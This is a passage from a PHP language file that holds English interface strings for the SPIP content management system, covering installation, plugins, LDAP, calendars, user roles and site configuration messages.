'erreur_nom_connect_incorrect' => 'Server name not allowed',
'erreur_plugin_desinstalation_echouee' => 'Uninstallation of the plugin failed. However, you may deactivate it.',
'erreur_plugin_fichier_absent' => 'File missing',
'erreur_plugin_fichier_def_absent' => 'Definition file missing',
'erreur_plugin_nom_fonction_interdit' => 'Prohibited function name',
'erreur_plugin_nom_manquant' => 'Missing plugin name',
'erreur_plugin_prefix_manquant' => 'Namespace undefined for this plugin',
'erreur_plugin_tag_plugin_absent' => '<plugin> missing in the definition file',
'erreur_plugin_version_manquant' => 'Plugin version missing',
// H
'htaccess_a_simuler' => 'Warning: your HTTP server configuration ignores @htaccess@ files. To ensure good security, you should change the configuration for this. Alternatively, you should make sure that the constants @constantes@ (definable in the file mes_options.php) have as values directories outside @document_root@.',
'htaccess_inoperant' => 'inoperative htaccess',
// I
'ical_info1' => 'This page presents several ways of keeping up-to-date with site activity.',
'ical_info2' => 'For more information, do not hesitate to visit <a href="@spipnet@">SPIP’s documentation</a>.',
'ical_info_calendrier' => 'Two calendars are available. The first is a general, public calendar showing articles as they are published. The second is personal and contains editorial announcements as well as your latest private messages: it is reserved for you via a personal key that you can modify at any time by renewing your password.',
'ical_methode_http' => 'Downloading',
'ical_methode_webcal' => 'Synchronisation (webcal://)',
'ical_texte_js' => 'A line of javascript allows you to easily display the most recent articles published on this site on any other site belonging to you.',
'ical_texte_prive' => 'This calendar, which is strictly personal, informs you of the private editorial activity of this site (tasks, personal appointments, articles and news items submitted etc.).',
'ical_texte_public' => 'This calendar allows you to follow the public activity of this site (newly-published articles and news items).',
'ical_texte_rss' => 'You can syndicate the latest news from this site in any XML/RSS (Rich Site Summary) reader. This is also the format that allows SPIP to read the latest news published by other sites using a compatible exchange format (syndicated sites).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Syndication files',
'icone_accueil' => 'Home',
'icone_activer_cookie' => 'Place a cookie',
'icone_activite' => 'Feedback',
'icone_admin_plugin' => 'Manage plugins',
'icone_administration' => 'Maintenance',
'icone_afficher_auteurs' => 'Show authors',
'icone_afficher_visiteurs' => 'Show visitors',
'icone_arret_discussion' => 'Stop participating in this discussion',
'icone_calendrier' => 'Calendar',
'icone_configuration' => 'Configuration',
'icone_creer_auteur' => 'Create a new author and associate him/her with this article',
'icone_creer_mot_cle' => 'Create a new keyword and link it to this article',
'icone_creer_mot_cle_rubrique' => 'Create a new keyword and attach it to this section',
'icone_creer_mot_cle_site' => 'Create a new keyword and attach it to this site',
'icone_creer_rubrique_2' => 'Create a new section',
'icone_edition' => 'Edit',
'icone_envoyer_message' => 'Send this message',
'icone_ma_langue' => 'My language',
'icone_mes_infos' => 'My details',
'icone_mes_preferences' => 'Preferences',
'icone_modifier_article' => 'Edit this article',
'icone_modifier_message' => 'Edit this message',
'icone_modifier_rubrique' => 'Edit this section',
'icone_publication' => 'Publish',
'icone_relancer_signataire' => 'Contact the signatory again',
'icone_retour' => 'Back',
'icone_retour_article' => 'Back to the article',
'icone_squelette' => 'Templates',
'icone_suivi_publication' => 'Publication tracking ',
'icone_supprimer_cookie' => 'Delete cookie',
'icone_supprimer_rubrique' => 'Delete this section',
'icone_supprimer_signature' => 'Delete this signature',
'icone_valider_signature' => 'Validate this signature',
'image_administrer_rubrique' => 'You can manage this section',
'impossible_modifier_login_auteur' => 'Login cannot be changed.',
'impossible_modifier_pass_auteur' => 'Password cannot be changed.',
'info_1_article' => '1 article',
'info_1_article_syndique' => '1 syndicated article',
'info_1_auteur' => '1 author',
'info_1_message' => '1 message',
'info_1_mot_cle' => '1 keyword',
'info_1_rubrique' => '1 section',
'info_1_site' => '1 site',
'info_1_visiteur' => '1 visitor',
'info_activer_cookie' => 'You can activate an <b>administration cookie</b>, which allows you
to switch easily between the public site and the private area.',
'info_admin_etre_webmestre' => 'Give me web administrator rights',
'info_admin_gere_rubriques' => 'This administrator manages the following sections:',
'info_admin_gere_toutes_rubriques' => 'This administrator manages <b>all the sections</b>.',
'info_admin_gere_toutes_rubriques_2' => 'I manage <b>all the sections</b>',
'info_admin_je_suis_webmestre' => 'I am a <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Give webmaster rights to this administrator ',
'info_admin_webmestre' => 'This administrator is <b>webmaster</b>',
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'of the site (<i>use with caution</i>)',
'info_administrateur_site_01' => 'If you are a site administrator, please',
'info_administrateur_site_02' => 'click on this link',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'You can manage this section',
'info_adresse' => 'to this address:',
'info_adresse_url' => 'URL of the public site',
'info_afficher_par_nb' => 'Show ',
'info_afficher_visites' => 'Show visits for:',
'info_aide_en_ligne' => 'SPIP Online Help',
'info_ajout_image' => 'When you add images as attached documents to an article,
SPIP can automatically create thumbnails from
inserted images. This will allow, for instance, the automated
creation of a gallery or portfolio.',
'info_ajout_participant' => 'The following participant has been added:',
'info_ajouter_rubrique' => 'Add another section to manage:',
'info_annonce_nouveautes' => 'Latest news announcements',
'info_anterieur' => 'previous',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Post-dated articles set for publication',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Articles by this author',
'info_articles_miens' => 'My articles',
'info_articles_tous' => 'All the articles',
'info_articles_trouves' => 'Articles found',
'info_articles_trouves_dans_texte' => 'Articles found (in the text)',
'info_attente_validation' => 'Your articles awaiting validation',
'info_aucun_article' => 'No articles',
'info_aucun_article_syndique' => 'No syndicated articles',
'info_aucun_auteur' => 'No authors',
'info_aucun_message' => 'No messages',
'info_aucun_rubrique' => 'No sections',
'info_aucun_site' => 'No linked sites',
'info_aucun_visiteur' => 'No visitors',
'info_aujourdhui' => 'today:',
'info_auteur_message' => 'MESSAGE FROM:',
'info_auteurs' => 'Authors',
'info_auteurs_par_tri' => 'Authors@partri@',
'info_auteurs_trouves' => 'Authors found',
'info_authentification_externe' => 'External authentication',
'info_avertissement' => 'Warning',
'info_barre_outils' => 'with its toolbar?',
'info_base_installee' => 'Your database structure has been installed.',
'info_bio' => 'Biography',
'info_cache_desactive' => 'The cache is temporarily disabled',
'info_chapeau' => 'Introduction',
'info_chapeau_2' => 'Introduction:',
'info_chemin_acces_1' => 'Options: <b>Access path in directory</b>',
'info_chemin_acces_2' => 'You must now configure the access path to the directory information. This information is essential to read the user profiles stored in the directory.',
'info_chemin_acces_annuaire' => 'Options: <b>Access path in directory</b>',
'info_choix_base' => 'Third step:',
'info_classement_1' => ' out of @liste@',
'info_classement_2' => ' out of @liste@',
'info_code_acces' => 'Do not forget your own access codes!',
'info_compatibilite_html' => 'HTML norm to apply',
'info_compresseur_gzip' => 'It is advisable to check first whether your hosting provider already systematically compresses PHP scripts. To do this you can use a service such as @testgzip@',
'info_compresseur_texte' => 'If your server does not compress HTML pages before sending them, you can attempt to force compression in order to reduce the size of the pages transmitted.<b>Warning</b>: this can have a noticeable adverse effect on the performance of some servers, ',
'info_config_suivi' => 'If this address corresponds to a mailing list, you can indicate the subscription address for this list. This may be a URL (e.g. a webpage enabling subscription online), or an email address with a specific subject (for instance: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'You can subscribe to the mailing-list for this site. You will then receive email announcements concerning articles and news items submitted for publication.',
'info_confirmer_passe' => 'Confirm new password:',
'info_conflit_edition_avis_non_sauvegarde' => 'Caution: the following fields have been modified elsewhere. Your changes to these fields have therefore not been saved.',
'info_conflit_edition_differences' => 'Differences:',
'info_conflit_edition_version_enregistree' => 'Saved version:',
'info_conflit_edition_votre_version' => 'Your version:',
'info_connexion_base' => 'Trying to connect to database',
'info_connexion_base_donnee' => 'Connection to your database',
'info_connexion_ldap_ok' => '<b>LDAP connection succeeded.</b><p> You can go to the next step.</p>',
'info_connexion_mysql' => 'Your SQL connection',
'info_connexion_ok' => 'Connection succeeded.',
'info_contact' => 'Contact',
'info_contenu_articles' => 'Article content',
'info_contributions' => 'Contributions',
'info_creation_paragraphe' => 'To create paragraphs, just leave blank lines.',
'info_creation_rubrique' => 'Before writing any articles,<br /> you must create at least one section.<br />',
'info_creation_tables' => 'Creating the database tables',
'info_creer_base' => '<b>Create</b> a new database:',
'info_dans_rubrique' => 'In section:',
'info_date_publication_anterieure' => 'Previously published on:',
'info_date_referencement' => 'THIS SITE REFERENCED ON:',
'info_derniere_etape' => 'Done!',
'info_derniers_articles_publies' => 'Your most recently published articles',
'info_desactiver_messagerie_personnelle' => 'You can enable or disable your personal messaging on this site.',
'info_descriptif' => 'Description:',
'info_desinstaller_plugin' => ' deactivates the plugin and deletes the data',
'info_discussion_cours' => 'Current discussions',
'info_ecrire_article' => 'Before writing any articles, you must create at least one section.',
'info_email_envoi' => 'Sender’s email address (optional)',
'info_email_envoi_txt' => 'Enter the sender’s email address used for sending emails (by default, the recipient’s address is used as the sender’s address) :',
'info_email_webmestre' => 'Webmaster’s email address',
'info_entrer_code_alphabet' => 'Enter the code of the character set to be used:',
'info_envoi_email_automatique' => 'Automated mailing',
'info_envoyer_maintenant' => 'Send now',
'info_etape_suivante' => 'Go to the next step',
'info_etape_suivante_1' => 'You can move on to the next step.',
'info_etape_suivante_2' => 'You can move on to the next step.',
'info_exceptions_proxy' => 'Exceptions for the proxy',
'info_exportation_base' => 'export database to @archive@',
'info_facilite_suivi_activite' => 'To simplify monitoring of the site’s editorial;
activities, SPIP can send rmail notifications, e.g. to an editors’ mailing list,
of publication requests and article validations.',
'info_fichiers_authent' => 'Authentication file ".htpasswd"',
'info_forums_abo_invites' => 'Your site contains forums by subscription; visitors may register for them on the public site.',
'info_gauche_admin_effacer' => '<b>Only webmasters have access to this page.</b><p> It provides access to various technical maintenance tasks. Some of them require a specific authentication process via FTP.</p>',
'info_gauche_admin_tech' => '<b>Only webmasters have access to this page.</b><p> It provides access to various
maintenance tasks. Some of them require a specific authentication process
via FTP.</p>',
'info_gauche_admin_vider' => '<b>Only webmasters have access to this page.</b><p> It provides access to various
maintenance tasks. Some of them require a specific authentication process
via FTP.</p>',
'info_gauche_auteurs' => 'All the site authors are listed here.
The status of each is indicated by the colour of their icon (administrator = green; editor = yellow).',
'info_gauche_auteurs_exterieurs' => 'Visiting authors, without any access to the site, are indicated by a blue icon; deleted authors by a grey icon.',
'info_gauche_messagerie' => 'Messaging allows you to exchange messages amongst editors, to preserve memos (for your personal use) or to display announcements on the homepage of the private area (if you are an administrator).',
'info_gauche_numero_auteur' => 'AUTHOR NUMBER:',
'info_gauche_statistiques_referers' => 'This page displays the list of <i>referrers</i>, i.e. websites containing links to your own site, for yesterday and today. The list is reset every 24 hours.',
'info_gauche_visiteurs_enregistres' => 'You will find here the visitors registered
for the public area of the site (subscription-only forums).',
'info_generation_miniatures_images' => 'Generation of thumbnail images',
'info_gerer_trad' => 'Enable translation links?',
'info_gerer_trad_objets' => '@objets@: manage translation links',
'info_hebergeur_desactiver_envoi_email' => 'Some hosts disable automated mail sending
on their servers. In this case the following features
of SPIP cannot be implemented.',
'info_hier' => 'yesterday:',
'info_historique_activer' => 'Enable revision tracking',
'info_historique_affiche' => 'Show this version',
'info_historique_comparaison' => 'compare',
'info_historique_desactiver' => 'Disable revision tracking',
'info_historique_texte' => 'Revision tracking allows you to view changes made to an article and displays the differences between successive versions.',
'info_identification_publique' => 'Your public identity...',
'info_image_process' => 'Select the best method to create thumbnails by clicking on the corresponding picture.',
'info_image_process2' => 'If you can’t see any images, then your server is not configured to use such tools. If you want to use these features, contact your provider’s technical support and ask for the «GD» or «Imagick» extensions to be installed.',
'info_images_auto' => 'Images calculated automatically',
'info_informations_personnelles' => 'Personal information',
'info_inscription_automatique' => 'Automatic registration for new editors',
'info_jeu_caractere' => 'Character set for the site',
'info_jours' => 'days',
'info_laisser_champs_vides' => 'leave these fields empty)',
'info_langues' => 'Site languages',
'info_ldap_ok' => 'LDAP authentication is installed.',
'info_lien_hypertexte' => 'Hyperlink:',
'info_liste_nouveautes_envoyee' => 'The news update list has been sent',
'info_liste_redacteurs_connectes' => 'List of editors online',
'info_login_existant' => 'This login already exists.',
'info_login_trop_court' => 'Login too short.',
'info_login_trop_court_car_pluriel' => 'Your login must contain at least @nb@ characters.',
'info_logos' => 'The logos',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'In this section',
'info_message' => 'Message from',
'info_message_efface' => 'MESSAGE DELETED',
'info_message_en_redaction' => 'Your draft messages',
'info_message_technique' => 'Technical message:',
'info_messagerie_interne' => 'Internal messaging',
'info_mise_a_niveau_base' => 'SQL database upgrade',
'info_mise_a_niveau_base_2' => '{{Warning!}} You have installed a version of
SPIP {older} than the one
originally installed on this site: your database is at risk of being lost
and your site will not work properly anymore.<br />{{Reinstall
SPIP files.}}',
'info_modification_enregistree' => 'Your changes have been saved',
'info_modifier_auteur' => 'Edit author details:',
'info_modifier_rubrique' => 'Edit the section:',
'info_modifier_titre' => 'Edit: @titre@',
'info_mon_site_spip' => 'My SPIP site',
'info_mot_sans_groupe' => '(Keywords without a group...)',
'info_moteur_recherche' => 'Integrated search engine',
'info_moyenne' => 'average:',
'info_multi_articles' => 'Enable the language menu for articles?',
'info_multi_cet_article' => 'Language for this article:',
'info_multi_langues_choisies' => 'Please select the languages to be made available to the editors of your site.
Languages already used on your site (at the top of the list) cannot be disabled.',
'info_multi_objets' => '@objets@: activate the language menu',
'info_multi_rubriques' => 'Enable the language menu for sections?',
'info_multi_secteurs' => '... only for root-level sections?',
'info_nb_articles' => '@nb@ articles',
'info_nb_articles_syndiques' => '@nb@ syndicated articles',
'info_nb_auteurs' => '@nb@ authors',
'info_nb_messages' => '@nb@ messages',
'info_nb_mots_cles' => '@nb@ keywords',
'info_nb_rubriques' => '@nb@ sections',
'info_nb_sites' => '@nb@ sites',
'info_nb_visiteurs' => '@nb@ visitors',
'info_nom' => 'Name',
'info_nom_destinataire' => 'Name of recipient',
'info_nom_pas_conforme' => 'html tags are not allowed',
'info_nom_site' => 'Name of your site',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS IN THIS DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ sections,',
'info_nombre_sites' => '@nb_sites@ sites,',
'info_non_deplacer' => 'Do not move...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP can send a site newsletter (list of newly-published articles and news items).
.',
'info_non_envoi_liste_nouveautes' => 'Do not send newsletter',
'info_non_modifiable' => 'cannot be modified',
'info_non_suppression_mot_cle' => 'I do not want to delete this keyword.',
'info_note_numero' => 'Note @numero@',
'info_notes' => 'Footnotes',
'info_nouveaux_message' => 'New messages',
'info_nouvel_article' => 'New article',
'info_nouvelle_traduction' => 'New translation:',
'info_numero_article' => 'ARTICLE NUMBER:',
'info_obligatoire_02' => '(Required)',
'info_option_accepter_visiteurs' => 'Allow visitor registration via the public site',
'info_option_faire_suivre' => 'Forward forum messages to articles’ author(s)',
'info_option_ne_pas_accepter_visiteurs' => 'Disable visitor registration',
'info_options_avancees' => 'ADVANCED OPTIONS',
'info_ortho_activer' => 'Enable spellchecking.',
'info_ortho_desactiver' => 'Disable spellchecking.',
'info_ou' => 'or...',
'info_page_interdite' => 'Forbidden page',
'info_par_nom' => 'by name',
'info_par_nombre_article' => 'by number of articles',
'info_par_statut' => 'by status',
'info_par_tri' => '’(by @tri@)’',
'info_passe_trop_court' => 'Password too short.',
'info_passe_trop_court_car_pluriel' => 'Your password must contain at least @nb@ characters.',
'info_passes_identiques' => 'The two passwords are not identical.',
'info_pense_bete_ancien' => 'Your old memos',
'info_plus_cinq_car' => 'more than 5 characters',
'info_plus_cinq_car_2' => '(More than 5 characters)',
'info_plus_trois_car' => '(More than 3 characters)',
'info_popularite' => 'popularity: @popularite@; visits: @visites@',
'info_popularite_4' => 'popularity: @popularite@; visits: @visites@',
'info_post_scriptum' => 'Postscript',
'info_post_scriptum_2' => 'Postscript:',
'info_pour' => 'for',
'info_preview_admin' => 'Only administrators have access to Preview mode',
'info_preview_comite' => 'All authors have access to Preview mode',
'info_preview_desactive' => 'Preview mode is disabled',
'info_preview_texte' => 'It is possible to preview the site as if all articles and news items (with at least the status "submitted") were already published. Should this preview mode be restricted to administrators, open to all authors, or disabled completely?',
'info_principaux_correspondants' => 'Your main correspondents',
'info_procedez_par_etape' => 'please proceed step by step',
'info_procedure_maj_version' => 'the upgrade procedure must be run to adapt
the database to this new version of SPIP.',
'info_proxy_ok' => 'Proxy test successful.',
'info_ps' => 'P.S.',
'info_publier' => 'publish',
'info_publies' => 'Your articles published online',
'info_question_accepter_visiteurs' => 'If your site’s template allows visitors to register without entering the private area, please activate the following option:',
'info_question_inscription_nouveaux_redacteurs' => 'Do you wish to allow new editors to register
via the public site? If you agree to this, visitors will be able to register
using an automatic form, and then access the private area to
write their own articles. <div class="notice">During the registration process, users receive an automatic email
giving them their access code for the private area. Some
service providers disallow the sending of email from their
servers: in that case, automated registration cannot be
implemented.</div>',
'info_question_utilisation_moteur_recherche' => 'Do you wish to use SPIP’s integrated search engine?
(Disabling it speeds up system performance.)',
'info_question_vignettes_referer_non' => 'Do not show screenshots of referring sites',
'info_qui_edite' => '@nom_auteur_modif@ worked on the contents @date_diff@ minutes ago',
'info_racine_site' => 'Site root',
'info_recharger_page' => 'Please wait a few moments, then reload this page.',
'info_recherche_auteur_a_affiner' => 'Too many results for "@cherche_auteur@"; please refine your search.',
'info_recherche_auteur_ok' => 'Several editors were found for "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'No results for "@cherche_auteur@".',
'info_recommencer' => 'Please try again.',
'info_redacteur_1' => 'Editor',
'info_redacteur_2' => 'with access to the private area (<i>recommended</i>)',
'info_redacteurs' => 'Editors',
'info_redaction_en_cours' => 'EDITING IN PROGRESS',
'info_redirection' => 'Redirection',
'info_redirection_activee' => 'Redirection is enabled.',
'info_redirection_desactivee' => 'Redirection is deleted.',
'info_refuses' => 'Your rejected articles ',
'info_reglage_ldap' => 'Options: <b>Adjusting LDAP import</b>',
'info_renvoi_article' => '<b>Redirection.</b> This article redirects to:',
'info_reserve_admin' => 'Only administrators can modify this address.',
'info_restreindre_rubrique' => 'Restrict management to section:',
'info_resultat_recherche' => 'Search results:',
'info_rubriques' => 'Sections',
'info_rubriques_02' => 'sections',
'info_rubriques_trouvees' => 'Sections found',
'info_rubriques_trouvees_dans_texte' => 'Sections found (in the text)',
'info_sans_titre' => 'Untitled',
'info_selection_chemin_acces' => '<b>Select</b> the access path in the directory:',
'info_signatures' => 'signatures',
'info_site' => 'Site',
'info_site_2' => 'site:',
'info_site_min' => 'site',
'info_site_reference_2' => 'Referenced site',
'info_site_web' => 'Web site:',
'info_sites' => 'sites',
'info_sites_lies_mot' => 'Referenced sites with this keyword',
'info_sites_proxy' => 'Using a proxy',
'info_sites_trouves' => 'Sites found',
'info_sites_trouves_dans_texte' => 'Sites found (in the text)',
'info_sous_titre' => 'Subtitle:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'This author’s status:',
'info_statut_auteur_2' => 'I am',
'info_statut_auteur_a_confirmer' => 'Registration to be confirmed',
'info_statut_auteur_autre' => 'Other status:',
'info_statut_efface' => 'Deleted',
'info_statut_redacteur' => 'Editor',
'info_statut_utilisateurs_1' => 'Default status for imported users',
'info_statut_utilisateurs_2' => 'Choose the status to be attributed to persons present in the LDAP directory when they connect for the first time. You can modify this value for each individual author later on.',
'info_suivi_activite' => 'Follow editorial activity',
'info_surtitre' => 'Top title:',
'info_syndication_integrale_1' => 'Your site provides syndication files (see "<a href="@url@">@titre@</a>").',
'info_syndication_integrale_2' => 'Do you wish to send whole articles or only a summary of a few hundred characters?',
'info_table_prefix' => 'It is possible to change the prefix of the names of the database tables. (you need to do this if you are installing several sites in the same database). The prefix must be written in unaccented, lower-case letters without any spaces.',
'info_taille_maximale_images' => 'SPIP will test for the maximum image size (in millions of pixels) which it can process.<br /> Images bigger than this will not be reduced.',
'info_taille_maximale_vignette' => 'Maximum size for vignettes generated by the system:',
'info_terminer_installation' => 'You can now finish the standard installation process.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Explanation',
'info_texte_long' => '(The text is long: it will appear in several parts which will be reassembled after validation.)',
'info_texte_message' => 'Text of your message:',
'info_texte_message_02' => 'Message text',
'info_titre' => 'Title:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'All articles in progress',
'info_tous_articles_presents' => 'All articles published in this section',
'info_tous_articles_refuses' => 'All refused articles',
'info_tous_les' => 'every:',
'info_tous_redacteurs' => 'Announcements to all editors',
'info_tout_site' => 'The entire site',
'info_tout_site2' => 'The article has not been translated into this language.',
'info_tout_site3' => 'The article has been translated into this language, but changes have since been made to the reference article. The translation needs updating.',
'info_tout_site4' => 'The article has been translated into this language, and the translation is up-to-date.',
'info_tout_site5' => 'Original article.',
'info_tout_site6' => '<b>Warning:</b> only original articles are displayed.
Translations are linked to the original,
and their status is colour-coded:',
'info_traductions' => 'Translations',
'info_travail_colaboratif' => 'Collaborative work on articles',
'info_un_article' => 'an article,',
'info_un_site' => 'a site,',
'info_une_rubrique' => 'a section,',
'info_une_rubrique_02' => '1 section',
'info_url' => 'URL:',
'info_url_proxy' => 'Proxy URL',
'info_url_site' => 'SITE URL:',
'info_url_site_pas_conforme' => 'the website URL is invalid.',
'info_url_test_proxy' => 'Test URL',
'info_urlref' => 'Hyperlink:',
'info_utilisation_spip' => 'SPIP is now ready for use',
'info_visites_par_mois' => 'Monthly display:',
'info_visiteur_1' => 'Visitor',
'info_visiteur_2' => 'to the public site',
'info_visiteurs' => 'Visitors',
'info_visiteurs_02' => 'Public site visitors',
'info_webmestre_forces' => 'The web administrators are currently defined in <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Database address attributed by the hosting provider',
'install_base_ok' => 'The base @base@ was identified',
'install_connect_ok' => 'The new database has been declared using the server name @connect@.',
'install_echec_annonce' => 'This installation will probably fail, or damage your site.',
'install_extension_mbstring' => 'SPIP does not work with:',
'install_extension_php_obligatoire' => 'SPIP requires the php extension:',
'install_login_base_hebergeur' => 'Login attributed by the service provider',
'install_nom_base_hebergeur' => 'Database name attributed by the service provider:',
'install_pas_table' => 'The database has no tables',
'install_pass_base_hebergeur' => 'Password attributed by your hosting service ',
'install_php_version' => 'This version of PHP @version@ is too old (minimum = @minimum@)',
'install_select_langue' => 'Select a language, then click on "next" to start installation.',
'install_select_type_db' => 'Indicate the type of database:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Database server attributed by the hosting provider',
'install_table_prefix_hebergeur' => 'Table prefix attributed by your hosting provider:',
'install_tables_base' => 'Tables in the database',
'install_types_db_connus' => 'SPIP can use <b>MySQL</b> (the most common) and <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'The support of <b>PostgreSQL</b is actually proposed as experimental',
'instituer_erreur_statut_a_change' => 'The status has already been modified',
'instituer_erreur_statut_non_autorise' => 'You cannot select this status',
'intem_redacteur' => 'editor',
'intitule_licence' => 'Licence',
'item_accepter_inscriptions' => 'Allow registration',
'item_activer_messages_avertissement' => 'Activate warning messages',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Display in calendar',
'item_autoriser_documents_joints' => 'Allow documents attached to articles',
'item_autoriser_documents_joints_rubriques' => 'Allow documents in sections',
'item_autoriser_syndication_integrale' => 'Include entire articles in syndication feeds',
'item_choix_administrateurs' => 'administrators',
'item_choix_generation_miniature' => 'Generate thumbnails automatically.',
'item_choix_non_generation_miniature' => 'Do not generate thumbnails.',
'item_choix_redacteurs' => 'editors',
'item_choix_visiteurs' => 'visitors to the public site',
'item_creer_fichiers_authent' => 'Create .htpasswd files',
'item_limiter_recherche' => 'Limit the search to your site',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activate messaging system and calendars',
'item_mots_cles_association_articles' => 'articles',
'item_mots_cles_association_rubriques' => 'sections',
'item_mots_cles_association_sites' => 'referenced or syndicated sites.',
'item_non' => 'No',
'item_non_accepter_inscriptions' => 'Disable registration',
'item_non_activer_messages_avertissement' => 'No warning messages',
'item_non_afficher_calendrier' => 'Do not show in calendar',
'item_non_autoriser_documents_joints' => 'Do not allow documents in articles',
'item_non_autoriser_documents_joints_rubriques' => 'Do not allow documents in sections',
'item_non_autoriser_syndication_integrale' => 'Only send a summary',
'item_non_compresseur' => 'Disable compression',
'item_non_creer_fichiers_authent' => 'Do not create these files',
'item_non_gerer_statistiques' => 'Do not use statistics',
'item_non_limiter_recherche' => 'Widen search to include content on referenced sites',
'item_non_messagerie_agenda' => 'Disable the messaging system and calendars',
'item_non_publier_articles' => 'Do not publish articles before their specified publication date.',
'item_non_utiliser_moteur_recherche' => 'Do not use the engine',
'item_nouvel_auteur' => 'New author',
'item_nouvelle_rubrique' => 'New section',
'item_oui' => 'Yes',
'item_publier_articles' => 'Publish articles, irrespective of publication date.',
'item_reponse_article' => 'Reply to the article',
'item_utiliser_moteur_recherche' => 'Use the search engine',
'item_version_html_max_html4' => 'Use only HTML4 on the public site',
'item_version_html_max_html5' => 'Allow HTML5',
'item_visiteur' => 'visitor',
// J
'jour_non_connu_nc' => 'unknown',
// L
'label_bando_outils' => 'Toolbar',
'label_bando_outils_afficher' => 'Show the tools',
'label_bando_outils_masquer' => 'Hide the tools',
'label_choix_langue' => 'Choose your language',
'label_nom_fichier_connect' => 'Indicate the name for this server',
'label_slogan_site' => 'Website slogan',
'label_taille_ecran' => 'Screen width',
'label_texte_et_icones_navigation' => 'Navigation menu',
'label_texte_et_icones_page' => 'Page display',
'ldap_correspondance' => 'inherit field @champ@',
'ldap_correspondance_1' => 'Inherit LDAP fields',
'ldap_correspondance_2' => 'For each of these SPIP fields, enter the name of the corresponding LDAP field. Leave blank if you don’t want it filled, separate with spaces or commas to try several LDAP fields.',
'lien_ajout_destinataire' => 'Add this recipient',
'lien_ajouter_auteur' => 'Add this author',
'lien_ajouter_participant' => 'Add a participant',
'lien_ajouter_une_rubrique' => 'Add this section',
'lien_email' => 'email',
'lien_nom_site' => 'SITE NAME:',
'lien_retirer_auteur' => 'Remove author',
'lien_retirer_rubrique' => 'Remove the section',
'lien_retirer_tous_auteurs' => 'Remove all authors',
'lien_retirer_toutes_rubriques' => 'Remove all sections',
'lien_retrait_particpant' => 'remove this participant',
'lien_site' => 'site',
'lien_supprimer_rubrique' => 'delete this section',
'lien_tout_deplier' => 'Expand all',
'lien_tout_replier' => 'Collapse all',
'lien_tout_supprimer' => 'Delete all',
'lien_trier_nom' => 'Sort by name',
'lien_trier_nombre_articles' => 'Sort by total articles',
'lien_trier_statut' => 'Sort by status',
'lien_voir_en_ligne' => 'VIEW ONLINE:',
'logo_article' => 'Article logo',
'logo_auteur' => 'Autor’s logo',
'logo_rubrique' => 'Logo of the section',
'logo_site' => 'Logo of this site',
'logo_standard_rubrique' => 'Standard logo of sections',
'logo_survol' => 'Mouseover logo',
// M
'menu_aide_installation_choix_base' => 'Choosing your database',
'module_fichier_langue' => 'Language file',
'module_raccourci' => 'Shortcut',
'module_texte_affiche' => 'Displayed text',
'module_texte_explicatif' => 'You can insert thse shortcuts in your website templates. They will be automatically translated into any languages for which a language file exists.',
'module_texte_traduction' => 'The language file « @module@ » is available in:',
'mois_non_connu' => 'unknown',
// N
'nouvelle_version_spip' => 'SPIP version @version@ is available',
// O
'onglet_contenu' => 'Contents',
'onglet_declarer_une_autre_base' => 'Declare another database',
'onglet_discuter' => 'Discuss',
'onglet_documents' => 'Documents',
'onglet_interactivite' => 'Interactivity',
'onglet_proprietes' => 'Properties',
'onglet_repartition_actuelle' => 'now',
'onglet_sous_rubriques' => 'Subsections',
// P
'page_pas_proxy' => 'This page must not go through the proxy',
'pas_de_proxy_pour' => 'If necessary, indicate to which machines or domains this proxy should not apply (for example: @exemple@)',
'plugin_charge_paquet' => 'Loading the archive file @name@',
'plugin_charger' => 'Download',
'plugin_erreur_charger' => 'error: @zip@ cannot be loaded',
'plugin_erreur_droit1' => 'Cannot write to directory <code>@dest@</code>.',
'plugin_erreur_droit2' => 'Please check write permissions for this directory (and create the directory if necessary). Alternatively, install the files by FTP.',
'plugin_erreur_zip' => 'pclzip failure: error @status@',
'plugin_etat_developpement' => 'under development',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'stable',
'plugin_etat_test' => 'being tested',
'plugin_impossible_activer' => 'Impossible to activate the plugin @plugin@',
'plugin_info_automatique1' => 'If you wish to allow automatic plugin installation, please:',
'plugin_info_automatique1_lib' => 'If you want to let this library to be installed automatically, please:',
'plugin_info_automatique2' => 'Create a directory <code>@rep@</code> ;',
'plugin_info_automatique3' => 'Check that the server has the proper permissions to write to this directory.',
'plugin_info_automatique_creer' => 'to create at the root of the website.',
'plugin_info_automatique_exemples' => 'examples:',
'plugin_info_automatique_ftp' => 'You may install plugins by FTP in the <tt>@rep@</tt> directory',
'plugin_info_automatique_lib' => 'Some plugins need to be able to load files into the <code>lib/</code> directory. This directory should be created at the website root.',
'plugin_info_automatique_liste' => 'Your plugin lists:',
'plugin_info_automatique_liste_officielle' => 'official plugins',
'plugin_info_automatique_liste_update' => 'Update lists',
'plugin_info_automatique_ou' => 'or...',
'plugin_info_automatique_select' => 'Select a plugin below: SPIP will load it and will install it in the <code>@rep@</code> directory. If the plugin already exists, it will be updated.',
'plugin_info_credit' => 'Credits',
'plugin_info_erreur_xml' => 'Incorrect declaration of the plugin',
'plugin_info_install_ok' => 'Installation successful',
